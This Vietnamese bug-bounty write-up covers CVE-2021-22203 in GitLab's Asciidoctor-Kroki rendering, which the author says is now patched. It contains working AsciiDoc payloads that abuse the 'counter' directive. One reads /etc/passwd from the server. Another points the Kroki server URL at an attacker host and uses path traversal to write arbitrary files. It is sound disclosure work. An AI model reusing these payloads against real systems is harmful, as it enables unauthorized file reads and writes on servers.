PHƯƠNG THỨC “MÀY MÒ” LỖ HỔNG GIÁ TRỊ $5000 CỦA GITLAB – CVE-2021-22203
Tôi đã nhận được 1 khoản bounty từ GitLab nhờ một lỗ hổng tôi tìm được tại Asciidoctor vài tuần trước.
Tôi luôn hứng thú với các parser của các ngôn ngữ markup, ví dụ như đối với gem ‘github-markup’, có rất nhiều loại ngôn ngữ markup mà nó suppport ví dụ như:
- Asciidoctor
- Markdown
- Creole
- v.v.
Chúng được liệt kê ở gem github-markup
như sau:
MARKUP_ASCIIDOC = :asciidoc
MARKUP_CREOLE = :creole
MARKUP_MARKDOWN = :markdown
MARKUP_MEDIAWIKI = :mediawiki
MARKUP_ORG = :org
MARKUP_POD = :pod
MARKUP_RDOC = :rdoc
MARKUP_RST = :rst
MARKUP_TEXTILE = :textile
MARKUP_POD6 = :pod6
Phần lớn các parser này được auđit source code về mặt bảo mật cực kì kĩ mặc dù những source code trên được viết từ rất lâu.
Truy tìm những hàm “hữu dụng”
Có một điều kì lạ là những “markup” parser này có những chức năng mà người phát triển cho là hữu dụng như “tải file bằng HTTP”, “đính kèm file từ hệ thống”, v.v. và những chức năng này được tôi quan tâm nhất
Ví dụ đối với restructeredText
tức rst
, có một attribute là file
hay uri
và một số directives như csv-table
, raw
hay include
sử dụng chúng để thực hiện các chức năng trên
Đọc kĩ document chúng ta có thể thấy nếu như thiết lập file_insertion_enabled
với giá trị false
thì những attributes trên không còn tác dụng nữa. Điều này được thực hiện ở gem github-markup
SETTINGS = {
‘cloak_email_addresses’: False,
‘file_insertion_enabled’: False,
‘raw_enabled’: True,
‘strip_comments’: True,
‘doctitle_xform’: True,
‘initial_header_level’: 2,
‘report_level’: 5,
‘syntax_highlight’: ‘none’,
‘math_output’: ‘latex’,
‘field_name_limit’: 50,
}
Điều tương tự xả ra với markup parser của asciidoctor
, nếu như security-mode (trường @safe
) có giá trị là SECURE
và attributes allow-uri-read
có giá trị nil
, thì tất cả những functions như đọc file, gửi HTTP request để tải file bị vô hiệu hoá
def image_uri(target_image, asset_dir_key = ‘imagesdir’)
if (doc = @document).safe < SafeMode::SECURE && (doc.attr? ‘data-uri’)
if ((Helpers.uriish? target_image) && (target_image = Helpers.encode_spaces_in_uri target_image)) ||
(asset_dir_key && (images_base = doc.attr asset_dir_key) && (Helpers.uriish? images_base) &&
(target_image = normalize_web_path target_image, images_base, false))
(doc.attr? ‘allow-uri-read’) ? (generate_data_uri_from_uri target_image, (doc.attr? ‘cache-uri’)) : target_image
else
generate_data_uri target_image, asset_dir_key
end
else
normalize_web_path target_image, (asset_dir_key ? (doc.attr asset_dir_key) : nil)
end
end
generate_data_uri
gọi tới hàm File.binread
tiến hành đọc file từ trường image_path
.
::File.binread image_path
“Tưởng như” đã bypass được các hàm ngăn chặn
Tôi chọn asciidoctor
làm parser để nghiên cứu sâu hơn về việc có thể bypass được những hàm, biến về bảo mật để có thể tìm được lỗ hổng đọc file tuỳ ý.
Việc đầu tiên tôi làm là tìm cách thay đổi giá trị của allow-uri-read
thành một giá trị khác không phải là nil
và sau đó thay đổi biến @safe
để doc.safe
có một giá trị khác ngoài SECURE
Theo document, Asciidoctor cho phép người dùng thiếp lập giá trị cho attributes bất kì ở trong document
Ví dụ, nếu markup có syntax là :test: haah
, thì doc.attr["test"]
sẽ mang giá trị haah
Tuy nhiên, nếu như những attribute này được set khi chúng ta gọi tới Asciidoctor
thì những attribute này sẽ được khoá và người dùng sẽ không thể thay đổi giá trị của những attribute này bằng những markup trên, điều này được thể hiện ở hàm
def attribute_locked?(name)
@attribute_overrides.key?(name)
end
Bạn có thể thắc mắc @attribute_overrides
là gì, nó chứa tất cả những cặp key và giá trị khi chung ta gọi tới Asciidoctor
cùng với một số giá trị được định trước như docdir
, outfile
, v.v. allow-uri-read
luôn luôn có gái trị là nil
the only way to set the allow-uri-read attribute is via the API; disabled by default
attr_overrides[‘allow-uri-read’] ||= nil
GitLab gọi tới Asciidoctor
với các attribute như sau:
DEFAULT_ADOC_ATTRS = {
‘showtitle’ => true,
‘sectanchors’ => true,
‘idprefix’ => ‘user-content-‘,
‘idseparator’ => ‘-‘,
‘env’ => ‘gitlab’,
‘env-gitlab’ => ”,
‘source-highlighter’ => ‘gitlab-html-pipeline’,
‘icons’ => ‘font’,
‘outfilesuffix’ => ‘.adoc’,
‘max-include-depth’ => MAX_INCLUDE_DEPTH,
# This feature is disabled because it relies on File#read to read the file.
# If we want to enable this feature we will need to provide a “GitLab compatible” implementation.
# This attribute is typically used to share common config (skinparam…) across all PlantUML diagrams.
# The value can be a path or a URL.
‘kroki-plantuml-include!’ => ”,
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
‘kroki-fetch-diagram!’ => ”
}.freeze
…
asciidoc_opts = { safe: :secure,
backend: :gitlab_html5,
attributes: DEFAULT_ADOC_ATTRS
….
html = ::Asciidoctor.convert(input, asciidoc_opts)
Đến đây tôi nhận ra mình không có khả năng thay đổi giá trị của allow-uri-read
. Tuy nhiên hàm counter
cho tôi một ý tưởng với việc thay đổi các giá trị của key trong biến @attributes
mà không phải đi qua hàm attribute_locked?
def counter name, seed = nil
return @parent_document.counter name, seed if @parent_document
if (attr_seed = !(attr_val = @attributes[name]).nil_or_empty?) && (@counters.key? name)
@attributes[name] = @counters[name] = Helpers.nextval attr_val
elsif seed
@attributes[name] = @counters[name] = seed == seed.to_i.to_s ? seed.to_i : seed
else
@attributes[name] = @counters[name] = Helpers.nextval attr_seed ? attr_val : 0
end
end
Nếu như 1 directive counter có tên với giá trị của biến name
và giá trị đó chưa được set trong attributes
, thì giá trị của @attributes[name]
sẽ được gán với giá trị của seed
, và không hề gọi tới hàm attribute_locked?
. Điều này cho phép thay đổi hoặc tạo ra 1 attribute với giá trị bất kì
Sau khi đọc document với cách sử dụng directive counter
, tôi nhận thấy mình chỉ cần viết {counter:allow-uri-read:true}
trong document và giá trị của @attributes['allow-uri-read']
sẽ thành true
attributes = {
‘showtitle’ => ‘@’,
‘idprefix’ => ”,
‘idseparator’ => ‘-‘,
‘sectanchors’ => nil,
‘env’ => ‘github’,
‘env-github’ => ”,
‘source-highlighter’ => ‘html-pipeline’
}
content = <<test
[#goals]
{counter:allow-uri-read:true}
test
Asciidoctor.convert(content, :safe => :secure, :attributes => attributes)
Đặt một break point tại hàm counter
và ta có thể thấy rõ ràng điều này.
Như vậy là tôi có thể thay đổi và set giá trị cho attribute allow-uri-read
, tuy nhiên tôi lại không thể thay đổi giá trị của @safe
kẻ cả thay đổi giá trị của các attribute như safe-mode-level
, safe-mode-name
, v.v. Tôi quyết định không tiến theo con đường này nữa vì nếu như không thể làm được cả 2 điều trên thì không có nghĩa lí gì để tôi tiếp tục.
GitLab Kroki
Đọc comment khi sử dụng Asciidoctor của GitLab cho tôi một hướng đi mới.
# The value can be a path or a URL.
‘kroki-plantuml-include!’ => ”,
# This feature is disabled because it relies on the local file system to save diagrams retrieved from the Kroki server.
‘kroki-fetch-diagram!’ => ”
Nôm na thì là GitLab đang cố không cho người dùng thay đổi giá trị của 2 attribute kia mà tôi có thể thay đổi chúng.
Tôi bật GitLab Kroki lên để nghiên cứu, tìm đến source code của gem asciidoctor-kroki
để tìm hiểu mục đích của các attribute này là gì.
Đọc file tuỳ ý khi dùng attribute kroki-plantuml-include
Gọi hàm File.read
trực tiếp với đường dẫn từ giá trị của attribute kroki-plantuml-include
def prepend_plantuml_config(diagram_text, diagram_type, doc)
if diagram_type == :plantuml && doc.attr?(‘kroki-plantuml-include’)
# TODO: this behaves different than the JS version
# The file should be added by !include #{plantuml_include}” once we have a preprocessor for ruby
config = File.read(doc.attr(‘kroki-plantuml-include’))
diagram_text = config + ‘\n’ + diagram_text
end
diagram_text
end
Như vậy với khả năng set 1 giá trị bất khì cho attribute kroki-plantuml-include
, tôi có thể đọc file tuỳ ý mà process chạy đoạn code ruby này được phép đọc. Và vì File.read
xảy ra ở gem ruby này nên file được đọc đến từ máy chủ chạy GitLab chứ không phải máy chủ chạy Kroki.
Payload dưới đây sẽ tiến hành đọc file /etc/passwd
và chèn nó vào URL gửi tới Kroki với giá trị là base64 của file nén của /etc/passwd
[#goals]
[plantuml, test=”{counter:kroki-plantuml-include:/etc/passwd}”, format=”png”]
….
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|– {counter:kroki-plantuml-include}
DiagramBlock <|– DitaaBlock
DiagramBlock <|– PlantUmlBlock…
Decode giá trị Base64 và giải nén cho ta được giá trị của /etc/passwd
Ghi File tuỳ ý với attribute kroki-fetch-diagram
Khi thay đổi giá trị kroki-fetch-diagram
với giá tị bất kì ngoài nil
thì gem asciidoctor-kroki
sẽ làm nhiệm vụ lưu hình diagram đó vào file hệ thốngdef
create_image_src(doc,
kroki_diagram,
kroki_client)
if
doc.attr(‘kroki-fetch-diagram’)
kroki_diagram.save(output_dir_path(doc),
kroki_client)
else
kroki_diagram.get_diagram_uri(server_url(doc))
endend
Hàm này gọi tới hàm save làm nhiệm vụ nói trên
def
save(output_dir_path,
kroki_client)
diagram_url
=
get_diagram_uri(kroki_client.server_url)
diagram_name
=
“diag-#{Digest::SHA256.hexdigest
diagram_url}.#{@format}”
file_path
=
File.join(output_dir_path,
diagram_name)
encoding
=
if
@format
==
‘txt’
||
@format
==
‘atxt’
||
@format
==
‘utxt’
‘utf8’
elsif
@format
==
‘svg’
‘binary’
else
‘binary’
end
# file is either (already) on the file system or we should read it from Kroki
contents
=
File.exist?(file_path)
?
File.open(file_path,
&:read)
:
kroki_client.get_image(self,
encoding)
FileUtils.mkdir_p(output_dir_path)
if
encoding
==
‘binary’
File.binwrite(file_path,
contents)
else
File.write(file_path,
contents)
end
diagram_name
end
Về cơ bản, File.binwrite
và File.write
được goi với giá tị của param file_path
. Giá trị này bị ảnh hưởng bởi 2 thứ:
#{Digest::SHA256.hexdigest diagram_url}
@format
–> Ta thay đổi được cái này
Vì khả năng có thể thay đổi được giá trị của file_path
tuỳ ý, chúng ta có thể làm cho gem này lưu vào file bất kì trên hệ thống.
Việc hosting nội dung file có thể được thi triển bằng việc trỏ GitLab Kroki tới một server khác, điều này có thể làm được bằng cách thay đổi attribute sau:#Define the Kroki server URL from the settings.
# This attribute cannot be overridden from the AsciiDoc document.
‘kroki-server-url’
=>
Gitlab::CurrentSettings.kroki_url
# I COULD CHANGE THIS BY USING COUNTER 😛
Payload sau sẽ thay đổi kroki-server-uri
tới server của chúng ta
{counter:kroki-server-url:http://malicious.net/}
Host một webserver để luôn luôn trả về content của file chúng ta muốn lưu trên server chạy GitLab.
Tuy nhiên vì cách hoạt động kì lạ của ruby File
, đầu tiên chúng ta cần tìm một giá trị #{Digest::SHA256.hexdigest diagram_url}
đúng
thu-muc-khong-ton-tai/../../../../../../../etc/passwd
-> sẽ luôn trả về một exception nếu như trong file_path
có chứa 1 directory hoặc một file nào đó không tòn tại Chúng ta cần thu-muc-khong-ton-tai
tồn tại và chính là giá trị của diag-#{Digest::SHA256.hexdigest diagram_url}
. Chúng ta cần lmf những điều sau:
- Lấy địa điểm của file mà chúng ta mướn lưu tại server chạy GitLab, ví dụ
/tmp/test_file_write.txt
- Cấu trúc 1 URL đúng với dữ liệu của diagram.
Bước này hơi phức tạp một chút và chúng ta cần iá trị base64 của file nén của diagram. Ví du với diagram sau:
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Giá trị chúng ta cần sẽ là
eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==
Và URL được cấu trúc đúng sẽ là
http://kroki-host
/../../../../../../../../file-location
/base64-compressed-data
tức
http://192.168.69.1:8082/plantuml/../../../../../../tmp/test_file_write.txt/eNpLzkksLlZwyslPzg4oyk9OLS7OL-JKBgu6ZCamFyXmguXgQiWJicgCATmJeSWhuTkQMS5UcxRsanR1FTJSM1K5kM2CCCMZhSmJYiwAy8U5sQ==
Tôi dùng đoạn code sau để tạo ra giá trị SHA-256 của URL:p
“diag-#{Digest::SHA256.hexdigest
test
=
string}”
- Chạy một payload như sau, lưu ý với giá trị
imagesdir
[#goals]
:imagesdir: diag-58f90331904a1989259d639c5677e0fff5e434e739c70f1d3bb2004723bc99b8.
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Chạy lại payload với giá trị của imagesdir
là .
[#goals]
:imagesdir: .
:outdir: /tmp/
[plantuml, test="{counter:kroki-fetch-diagram:true}",tet="{counter:kroki-server-url:http://192.168.69.1:8082/}", format="/../../../../../../tmp/test_file_write.txt"]
....
class BlockProcessor
class DiagramBlock
class DitaaBlock
class PlantUmlBlock
BlockProcessor <|-- hehe
DiagramBlock <|-- DitaaBlock
DiagramBlock <|-- PlantUmlBlock
....
Để biết thêm về PoC hơn, các bạn có thể xem video tại report ở địa chỉ sau:
Kết luận
Tôi nhận được bounty với giá $5600 khi report lỗ hổng này cho GitLab tại Hackerone, tuy rằng đây không phải là một lương bounty lớn nhưng tôi nhận ra mình cũng khá thành công khi mặc dù không thể bypass được @safe
của asciidoctor nhưng lại tìm được lỗ hổng với 1 extension của nó. Hiện nay, cả asciidoctor
và asciidoctor-kroki
đã update, bạn không thể thay đổi giá trị của attribute bất kì với counter
nữa cũng như bạn không thể thay đổi giá trị của format
cho file_path
.
Bài viết cùng chủ đề
-
CẤU TRÚC HỆ THỐNG GIAO THÔNG THÔNG MINH VÀ CÁC NGUY CƠ AN NINH MẠNG
-
Cách tải nhạc Zing MP3 về điện thoại và máy tính một cách dễ dàng
-
Cách xem những người bạn đã chặn (block) trên Facebook
-
Cách tải phiên bản cũ của Messenger cho điện thoại Android và iPhone
-
Cách mua Vietlott trên điện thoại qua SMS đơn giản
-
Cách đổi âm thanh thông báo trên Zalo dễ dàng mới nhất 2024
Chia sẻ ý kiến của bạn
Bạn phải đăng nhập để gửi bình luận.